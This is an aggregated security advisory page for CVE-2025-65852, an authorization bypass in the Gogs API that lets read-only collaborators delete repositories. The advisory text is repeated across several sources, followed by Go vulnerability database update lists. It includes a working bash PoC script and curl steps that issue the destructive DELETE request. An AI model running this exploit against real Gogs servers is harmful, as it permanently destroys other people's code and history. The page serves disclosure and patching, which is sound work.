CVE-2025-65852

Gogs has authorization bypass in repository deletion API

5.7 MediumFix available

Summary

The DELETE /api/v1/repos/:owner/:repo endpoint lacks necessary permission validation middleware. Consequently, any user with read access (including read-only collaborators) can delete the entire repository.

This vulnerability stems from the API route configuration only utilizing the repoAssignment() middleware (which only verifies read access) without enforcing reqRepoOwner() or reqRepoAdmin().

Details

vulnerability location:

Vulnerable Endpoint：DELETE /api/v1/repos/:owner/:repo
Routing configuration file: internal/route/api/v1/api.go (approximately line 253)
Function handling file: internal/route/api/v1/repo/repo.go (approximately lines 320-338)

Root Cause Analysis

Code Location 1: API Route Configuration (internal/route/api/v1/api.go ~ line 253)

// 当前的路由配置（存在漏洞）
m.Delete("", repo.Delete)  // 仅继承了外层的 repoAssignment() 中间件

Code Location 2: Delete Function Implementation (internal/route/api/v1/repo/repo.go ~ lines 320-338)

// Delete 函数内部没有额外的权限检查
func Delete(c *context.APIContext) {
    // 直接执行删除操作，未验证用户是否为所有者
    if err := models.DeleteRepository(c.User.ID, c.Repo.Repository.ID); err != nil {
        c.Error(500, "DeleteRepository", err)
        return
    }
    c.Status(204)
}

Missing Permission Check Comparison with route configurations for other sensitive operations:

// Webhooks 管理（正确实现）
m.Group("/hooks", func() {
    m.Combo("").
        Get(repo.ListHooks).
        Post(bind(api.CreateHookOption{}), repo.CreateHook)
}, reqRepoAdmin())  // ✅ 使用了权限中间件

// 部署密钥管理（正确实现）
m.Group("/keys", func() {
    m.Combo("").
        Get(repo.ListDeployKeys).
        Post(bind(api.CreateKeyOption{}), repo.CreateDeployKey)
}, reqRepoAdmin())  // ✅ 使用了权限中间件

// 删除仓库（漏洞）
m.Delete("", repo.Delete)  // ❌ 没有使用权限中间件

Data Flow Path

API Request Path: DELETE /api/v1/repos/:owner/:repo
Route Handling: The outer middleware repoAssignment() verifies that the user has read access (Passed).
Execution: The system directly executes the repo.Delete() function.
Permission Check: The reqRepoOwner() middleware check is missing.
Internal Validation: There is no permission validation inside the Delete() function either.
Result: Any user with read permission can delete the repository.

PoC

Prerequisites

A running Gogs instance.
The attacker's account is added as a collaborator to the target repository (Read access is sufficient).
The attacker possesses a valid API access token.
The target repository exists and is accessible.

📜 Test Steps (Bash)

Verify Gogs service is running curl -I http://localhost:10880
Create test accounts and repository

Owner account: owner / owner123456
Read-only account: victim / victim123456
Test repository: owner/delete-test <img width="1580" height="832" alt="image" src="https://github.com/user-attachments/assets/d1babac8-d952-4765-ba34-d4891c12b8db" />

Add 'victim' as a read-only collaborator Perform this via the Web UI or API <img width="1597" height="725" alt="image" src="https://github.com/user-attachments/assets/f76db1d4-9e45-4a97-af22-50db124ec4d0" /> <img width="1597" height="760" alt="image" src="https://github.com/user-attachments/assets/f6ef3bd9-47d4-4202-bf10-2022be557f16" />
Obtain API token for 'victim' curl -X POST http://localhost:10880/api/v1/users/victim/tokens
-u victim:victim123456
-H "Content-Type: application/json"
-d '{"name":"test-token"}'
Resource deleted <img width="1602" height="483" alt="image" src="https://github.com/user-attachments/assets/3e77aaaa-ffbc-4521-be4b-9a62f36499ff" /> Web UI：Target repository deletion successful <img width="1581" height="853" alt="image" src="https://github.com/user-attachments/assets/fbd6b4a4-c874-44f9-9b6e-765371eddcc7" />

📜 PoC Script

#!/bin/bash
# Gogs 仓库删除授权绕过漏洞 PoC

# ============ 配置信息 ============
GOGS_URL="http://localhost:10880"
TARGET_REPO="owner/delete-test"
VICTIM_TOKEN="your_victim_read_only_token_here"

# ============ 执行攻击 ============
echo "========================================"
echo "Gogs 仓库删除授权绕过漏洞 PoC"
echo "========================================"
echo ""
echo "目标仓库: $TARGET_REPO"
echo "攻击者权限: Read（只读）"
echo "预期行为: 403 Forbidden（应该被拒绝）"
echo ""

# 步骤1：验证仓库存在
echo "[步骤1] 验证目标仓库存在..."
REPO_CHECK=$(curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: token $VICTIM_TOKEN" \
  "$GOGS_URL/api/v1/repos/$TARGET_REPO")

if [ "$REPO_CHECK" == "200" ]; then
    echo "✓ 仓库存在且可访问"
else
    echo "✗ 仓库不存在或无权访问 (状态码: $REPO_CHECK)"
    exit 1
fi

# 步骤2：尝试删除仓库（漏洞利用）
echo ""
echo "[步骤2] 使用只读权限尝试删除仓库..."
DELETE_RESPONSE=$(curl -s -w "\nHTTP_CODE:%{http_code}" \
  -X DELETE \
  -H "Authorization: token $VICTIM_TOKEN" \
  "$GOGS_URL/api/v1/repos/$TARGET_REPO")

DELETE_CODE=$(echo "$DELETE_RESPONSE" | grep "HTTP_CODE:" | cut -d: -f2)

echo "实际状态码: $DELETE_CODE"
echo ""

# 步骤3：验证结果
if [ "$DELETE_CODE" == "204" ] || [ "$DELETE_CODE" == "200" ]; then
    echo "========================================"
    echo "🔴 漏洞确认：删除成功！"
    echo "========================================"
    echo ""
    echo "只读权限用户成功删除了仓库！"
    echo ""
    
    # 验证仓库是否真的被删除
    sleep 2
    echo "验证仓库是否真的被删除..."
    VERIFY_CHECK=$(curl -s -o /dev/null -w "%{http_code}" \
      -H "Authorization: token $VICTIM_TOKEN" \
      "$GOGS_URL/api/v1/repos/$TARGET_REPO")
    
    if [ "$VERIFY_CHECK" == "404" ]; then
        echo "✗ 仓库已被完全删除（404 Not Found）"
        echo ""
        echo "危害确认："
        echo "  - 仓库及所有数据永久丢失"
        echo "  - 代码历史记录不可恢复"
        echo "  - 这是一个 HIGH 级别的严重漏洞"
    else
        echo "? 仓库状态未知 (状态码: $VERIFY_CHECK)"
    fi
    
elif [ "$DELETE_CODE" == "403" ]; then
    echo "========================================"
    echo "✅ 无漏洞：操作被正确拒绝"
    echo "========================================"
    echo ""
    echo "只读权限用户无法删除仓库，权限检查正常"
    
else
    echo "========================================"
    echo "⚠️  未预期的响应"
    echo "========================================"
    echo ""
    echo "状态码: $DELETE_CODE"
    echo "这可能表示 API 端点不存在或其他错误"
fi

echo ""
echo "========================================"
echo "PoC 执行完成"
echo "========================================"

Impact

Vulnerability Type: Broken Access Control (CWE-284)

Description: A critical authorization bypass vulnerability exists in the Gogs API. The access control mechanism fails to properly validate permissions for destructive operations.

Consequences: An authenticated attacker with low-level privileges (e.g., a collaborator with Read-Only access) can exploit this vulnerability to issue unauthorized DELETE requests. This allows the attacker to permanently delete entire repositories, resulting in the immediate loss of all source code, git history, issues, and wiki documentation.

Severity: This vulnerability poses a critical risk to data integrity and availability, potentially leading to irreversible data loss and significant operational disruption for affected organizations.

The Core Risk: Privilege Escalation & Data Destruction The most critical aspect of this vulnerability is the violation of the Principle of Least Privilege. It allows a user with the lowest level of access (Read-Only) to execute the most destructive action possible (Delete).

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: Low
User interaction: None

What an attacker can affect

Confidentiality: None
Integrity: High
Availability: High

What each source reports

GitHub Advisories Score usedGHSA-rjv5-9px2-fqw6 5.7

Gogs has authorization bypass in repository deletion API

Summary

This vulnerability stems from the API route configuration only utilizing the repoAssignment() middleware (which only verifies read access) without enforcing reqRepoOwner() or reqRepoAdmin().

Details

vulnerability location:

Vulnerable Endpoint：DELETE /api/v1/repos/:owner/:repo
Routing configuration file: internal/route/api/v1/api.go (approximately line 253)
Function handling file: internal/route/api/v1/repo/repo.go (approximately lines 320-338)

Root Cause Analysis

Code Location 1: API Route Configuration (internal/route/api/v1/api.go ~ line 253)

// 当前的路由配置（存在漏洞）
m.Delete("", repo.Delete)  // 仅继承了外层的 repoAssignment() 中间件

Code Location 2: Delete Function Implementation (internal/route/api/v1/repo/repo.go ~ lines 320-338)

// Delete 函数内部没有额外的权限检查
func Delete(c *context.APIContext) {
    // 直接执行删除操作，未验证用户是否为所有者
    if err := models.DeleteRepository(c.User.ID, c.Repo.Repository.ID); err != nil {
        c.Error(500, "DeleteRepository", err)
        return
    }
    c.Status(204)
}

Missing Permission Check Comparison with route configurations for other sensitive operations:

// Webhooks 管理（正确实现）
m.Group("/hooks", func() {
    m.Combo("").
        Get(repo.ListHooks).
        Post(bind(api.CreateHookOption{}), repo.CreateHook)
}, reqRepoAdmin())  // ✅ 使用了权限中间件

// 部署密钥管理（正确实现）
m.Group("/keys", func() {
    m.Combo("").
        Get(repo.ListDeployKeys).
        Post(bind(api.CreateKeyOption{}), repo.CreateDeployKey)
}, reqRepoAdmin())  // ✅ 使用了权限中间件

// 删除仓库（漏洞）
m.Delete("", repo.Delete)  // ❌ 没有使用权限中间件

Data Flow Path

API Request Path: DELETE /api/v1/repos/:owner/:repo
Route Handling: The outer middleware repoAssignment() verifies that the user has read access (Passed).
Execution: The system directly executes the repo.Delete() function.
Permission Check: The reqRepoOwner() middleware check is missing.
Internal Validation: There is no permission validation inside the Delete() function either.
Result: Any user with read permission can delete the repository.

PoC

Prerequisites

A running Gogs instance.
The attacker's account is added as a collaborator to the target repository (Read access is sufficient).
The attacker possesses a valid API access token.
The target repository exists and is accessible.

📜 Test Steps (Bash)

Verify Gogs service is running curl -I http://localhost:10880
Create test accounts and repository

Owner account: owner / owner123456
Read-only account: victim / victim123456
Test repository: owner/delete-test <img width="1580" height="832" alt="image" src="https://github.com/user-attachments/assets/d1babac8-d952-4765-ba34-d4891c12b8db" />

Add 'victim' as a read-only collaborator Perform this via the Web UI or API <img width="1597" height="725" alt="image" src="https://github.com/user-attachments/assets/f76db1d4-9e45-4a97-af22-50db124ec4d0" /> <img width="1597" height="760" alt="image" src="https://github.com/user-attachments/assets/f6ef3bd9-47d4-4202-bf10-2022be557f16" />
Obtain API token for 'victim' curl -X POST http://localhost:10880/api/v1/users/victim/tokens
-u victim:victim123456
-H "Content-Type: application/json"
-d '{"name":"test-token"}'
Resource deleted <img width="1602" height="483" alt="image" src="https://github.com/user-attachments/assets/3e77aaaa-ffbc-4521-be4b-9a62f36499ff" /> Web UI：Target repository deletion successful <img width="1581" height="853" alt="image"…

Record: GHSA-rjv5-9px2-fqw6
CVSS 4.0: 5.7 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness: CWE-284
Updated: 2026-11-02

OSVGHSA-rjv5-9px2-fqw6 5.7

Gogs has authorization bypass in repository deletion API

Summary

This vulnerability stems from the API route configuration only utilizing the repoAssignment() middleware (which only verifies read access) without enforcing reqRepoOwner() or reqRepoAdmin().

Details

vulnerability location:

Vulnerable Endpoint：DELETE /api/v1/repos/:owner/:repo
Routing configuration file: internal/route/api/v1/api.go (approximately line 253)
Function handling file: internal/route/api/v1/repo/repo.go (approximately lines 320-338)

Root Cause Analysis

Code Location 1: API Route Configuration (internal/route/api/v1/api.go ~ line 253)

// 当前的路由配置（存在漏洞）
m.Delete("", repo.Delete)  // 仅继承了外层的 repoAssignment() 中间件

Code Location 2: Delete Function Implementation (internal/route/api/v1/repo/repo.go ~ lines 320-338)

// Delete 函数内部没有额外的权限检查
func Delete(c *context.APIContext) {
    // 直接执行删除操作，未验证用户是否为所有者
    if err := models.DeleteRepository(c.User.ID, c.Repo.Repository.ID); err != nil {
        c.Error(500, "DeleteRepository", err)
        return
    }
    c.Status(204)
}

Missing Permission Check Comparison with route configurations for other sensitive operations:

// Webhooks 管理（正确实现）
m.Group("/hooks", func() {
    m.Combo("").
        Get(repo.ListHooks).
        Post(bind(api.CreateHookOption{}), repo.CreateHook)
}, reqRepoAdmin())  // ✅ 使用了权限中间件

// 部署密钥管理（正确实现）
m.Group("/keys", func() {
    m.Combo("").
        Get(repo.ListDeployKeys).
        Post(bind(api.CreateKeyOption{}), repo.CreateDeployKey)
}, reqRepoAdmin())  // ✅ 使用了权限中间件

// 删除仓库（漏洞）
m.Delete("", repo.Delete)  // ❌ 没有使用权限中间件

Data Flow Path

API Request Path: DELETE /api/v1/repos/:owner/:repo
Route Handling: The outer middleware repoAssignment() verifies that the user has read access (Passed).
Execution: The system directly executes the repo.Delete() function.
Permission Check: The reqRepoOwner() middleware check is missing.
Internal Validation: There is no permission validation inside the Delete() function either.
Result: Any user with read permission can delete the repository.

PoC

Prerequisites

A running Gogs instance.
The attacker's account is added as a collaborator to the target repository (Read access is sufficient).
The attacker possesses a valid API access token.
The target repository exists and is accessible.

📜 Test Steps (Bash)

Verify Gogs service is running curl -I http://localhost:10880
Create test accounts and repository

Owner account: owner / owner123456
Read-only account: victim / victim123456
Test repository: owner/delete-test <img width="1580" height="832" alt="image" src="https://github.com/user-attachments/assets/d1babac8-d952-4765-ba34-d4891c12b8db" />

Add 'victim' as a read-only collaborator Perform this via the Web UI or API <img width="1597" height="725" alt="image" src="https://github.com/user-attachments/assets/f76db1d4-9e45-4a97-af22-50db124ec4d0" /> <img width="1597" height="760" alt="image" src="https://github.com/user-attachments/assets/f6ef3bd9-47d4-4202-bf10-2022be557f16" />
Obtain API token for 'victim' curl -X POST http://localhost:10880/api/v1/users/victim/tokens
-u victim:victim123456
-H "Content-Type: application/json"
-d '{"name":"test-token"}'
Resource deleted <img width="1602" height="483" alt="image" src="https://github.com/user-attachments/assets/3e77aaaa-ffbc-4521-be4b-9a62f36499ff" /> Web UI：Target repository deletion successful <img width="1581" height="853" alt="image"…

Record: GHSA-rjv5-9px2-fqw6
CVSS 4.0: 5.7 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weakness: CWE-284
Updated: 2026-11-02

OSVGO-2026-4457 No score

Gogs has authorization bypass in repository deletion API in gogs.io/gogs

Gogs has authorization bypass in repository deletion API in gogs.io/gogs.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: gogs.io/gogs before v0.13.4.

Record: GO-2026-4457
Updated: 2026-11-02

OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
GO-2026-5933 GHSA-3g4q-2f67-2gvh
GO-2026-5934 GHSA-59qp-cfj3-rp64
GO-2026-5935 GHSA-7856-g3gv-9wq8
GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
GO-2026-5942 CVE-2026-46600
GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
GO-2026-5969 GHSA-g936-7jqj-mwv8
GO-2026-5970 CVE-2026-56852
GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
GO-2026-5981 GHSA-mqxv-9rm6-w8qc
GO-2026-5982 GHSA-pqg7-v6wh-3pfp
GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
GO-2026-5985 GHSA-7rx3-5wx3-5v76
GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…

Record: openSUSE-SU-2026:21483-1
Updated: 2026-11-02

OSVSUSE-SU-2026:0757-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

Update to version 0.0.20260226T182644 2026-02-26T18:26:44Z (jsc#PED-11136) Go CVE Numbering Authority IDs added or updated with aliases:

GO-2025-4259 CVE-2025-13767 GHSA-fmqf-pmcm-8cx9
GO-2025-4260 CVE-2025-64641 GHSA-vww6-79rv-3j4x
GO-2026-4282 CVE-2017-18873 GHSA-x6mw-hf2j-vqpc
GO-2026-4305 CVE-2017-18903 GHSA-fcwg-45jh-5qhf
GO-2026-4325 CVE-2025-14822 GHSA-9r42-rhw3-2222
GO-2026-4326 CVE-2025-14435 GHSA-mx8m-v8qm-xwr8
GO-2026-4332 CVE-2026-23644 GHSA-2657-3c98-63jq
GO-2026-4348 CVE-2026-23991 GHSA-846p-jg2w-w324
GO-2026-4349 CVE-2026-23992 GHSA-fphv-w9fq-2525
GO-2026-4377 CVE-2026-24686 GHSA-jqc5-w2xx-5vq4
GO-2026-4410 CVE-2026-25140 GHSA-f4w5-5xv9-85f6
GO-2026-4502 CVE-2026-25766 GHSA-pgvm-wxw2-hrv9
GO-2026-4534 CVE-2026-25899 GHSA-2mr3-m5q5-wgp6
GO-2026-4535 CVE-2026-27585 GHSA-4xrr-hq4w-6vf4
GO-2026-4536 CVE-2026-27590 GHSA-5r3v-vc8m-m96g
GO-2026-4537 CVE-2026-27589 GHSA-879p-475x-rqh2
GO-2026-4538 CVE-2026-27587 GHSA-g7pc-pc7g-h8jh
GO-2026-4539 CVE-2026-27586 GHSA-hffm-g8v7-wrv7
GO-2026-4540 CVE-2026-25891 GHSA-m3c2-496v-cw3v
GO-2026-4541 CVE-2026-27588 GHSA-x76f-jf84-rqj8
GO-2026-4543 CVE-2026-25882 GHSA-mrq8-rjmw-wpq3
GO-2026-4559 CVE-2026-27141

Update to version 0.0.20260225T230704 2026-02-25T23:07:04Z.

GO-2026-4358 CVE-2026-24137 GHSA-fcv2-xgw5-pqxf
GO-2026-4361 GHSA-c32p-wcqj-j677
GO-2026-4394 CVE-2026-24051 GHSA-9h8m-3fm2-qjrq
GO-2026-4399 CVE-2026-25518 GHSA-gx3x-vq4p-mhhv
GO-2026-4507 CVE-2026-26314 GHSA-2gjw-fg97-vg3r
GO-2026-4508 CVE-2026-26313 GHSA-689v-6xwf-5jf3
GO-2026-4509 CVE-2026-27017 GHSA-7m29-f4hw-g2vx
GO-2026-4511 CVE-2026-26315 GHSA-m6j8-rg6r-7mv8
GO-2026-4512 CVE-2026-26995 GHSA-rrxv-pmq9-x67r
GO-2026-4531 CVE-2026-25591 GHSA-w6x6-9fp7-fqm4
GO-2026-4532 CVE-2026-25802 GHSA-299v-8pq9-5gjq
GO-2026-4533 CVE-2026-27571 GHSA-qrvq-68c2-7grw
GO-2026-4542 CVE-2026-27598 GHSA-6v48-fcq6-ff23
GO-2026-4545 CVE-2025-50180 GHSA-3c9r-837r-qqm4
GO-2026-4546 CVE-2026-27611 GHSA-8vrh-3pm2-v4v6
GO-2026-4547 CVE-2026-27626 GHSA-49gm-hh7w-wfvf
GO-2026-4548 GHSA-2phg-qgmm-r638

Update to version 0.0.20260223T182315 2026-02-23T18:23:15Z.

GO-2026-4392 CVE-2026-24845 GHSA-9m43-p3cx-w8j5
GO-2026-4434 CVE-2023-43635 GHSA-4jvr-vj2c-8q37
GO-2026-4435 CVE-2023-43636 GHSA-5h7v-g49c-h887
GO-2026-4436 CVE-2023-43637 GHSA-g7vp-j25f-h34p
GO-2026-4442 GHSA-x9p2-77v6-6vhf
GO-2026-4444 CVE-2026-23989 GHSA-9j2f-3rj3-wgpg
GO-2026-4445 CVE-2026-25760 GHSA-2286-hxv5-cmp2
GO-2026-4446 CVE-2026-24851 GHSA-jq9f-gm9w-rwm9
GO-2026-4447 GHSA-vf5j-r2hw-2hrw
GO-2026-4448 CVE-2025-64111 GHSA-gg64-xxr9-qhjp
GO-2026-4449 CVE-2025-64175 GHSA-p6x6-9mx6-26wj
GO-2026-4450 CVE-2026-23632 GHSA-5qhx-gwfj-6jqr
GO-2026-4451 CVE-2026-22592 GHSA-cr88-6mqm-4g57
GO-2026-4452 CVE-2026-24135 GHSA-jp7c-wj6q-3qf2
GO-2026-4453 CVE-2026-23633 GHSA-mrph-w4hh-gx3g
GO-2026-4454 GHSA-26gq-grmh-6xm6
GO-2026-4455 CVE-2025-70963 GHSA-9f8m-9547-2gqm
GO-2026-4456 CVE-2025-13523 GHSA-ffx7-34p2-vm3w
GO-2026-4457 CVE-2025-65852 GHSA-rjv5-9px2-fqw6
GO-2026-4458 CVE-2026-25793 GHSA-69x3-g4r3-p962
GO-2026-4459 CVE-2017-18907 GHSA-42x9-rr3c-gr59
GO-2026-4460 CVE-2017-18918 GHSA-5ghq-28r7-qwfj
GO-2026-4461 CVE-2026-25804 GHSA-86x4-wp9f-wrr9
GO-2026-4462 CVE-2017-18915 GHSA-hxxj-8phw-74vw
GO-2026-4463 CVE-2017-18917 GHSA-jxc4-w54c-qv5r
GO-2026-4464 CVE-2017-18911 GHSA-m462-mqw4-2c8m
GO-2026-4465 GHSA-vhvq-fv9f-wh4q
GO-2026-4466 CVE-2026-25791 GHSA-wxrw-gvg8-fqjp
GO-2026-4467 CVE-2017-18916 GHSA-x33g-375j-jhf7
GO-2026-4471 CVE-2025-66630 GHSA-68rr-p4fp-j59v
GO-2026-4473 CVE-2026-25934 GHSA-37cx-329c-33x3
GO-2026-4474 CVE-2026-25890 GHSA-4mh3-h929-w968
GO-2026-4475 CVE-2026-25889 GHSA-hxw8-4h9j-hq2r
GO-2026-4476 CVE-2017-18908…

Record: SUSE-SU-2026:0757-1
Updated: 2026-11-02

Affected packages

Affected packages
Package	Affected	Fixed
`gogs.io/gogs` Go	through 0.13.3	0.13.4
`gogs.io/gogs` Go	before 0.13.4	0.13.4
`gogs.io/gogs` Go	All versions	None known
`govulncheck-vulndb` openSUSE:Leap 15.6 From an advisory covering 104 CVEs	before 0.0.20260226T182644-150000.1.149.1	0.0.20260226T182644-150000.1.149.1
`govulncheck-vulndb` openSUSE:Leap 16.0 From an advisory covering 1734 CVEs	before 0.0.20260723T184607-160000.1.1	0.0.20260723T184607-160000.1.1

History

History
Recorded	Changed	Sources
Nov 6, 2026	affected, facts
Nov 2, 2026	first indexed	GitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-65852 is a medium vulnerability (CVSS 5.7) in gogs.io/gogs, published February 6, 2026. No source lists public exploit code. Fixed in gogs.io/gogs 0.13.4.

References

Show 194 moreShow less

This page doesn't list everything

Left out here: 1,540 references and the rest of 4 source descriptions. The JSON record has them.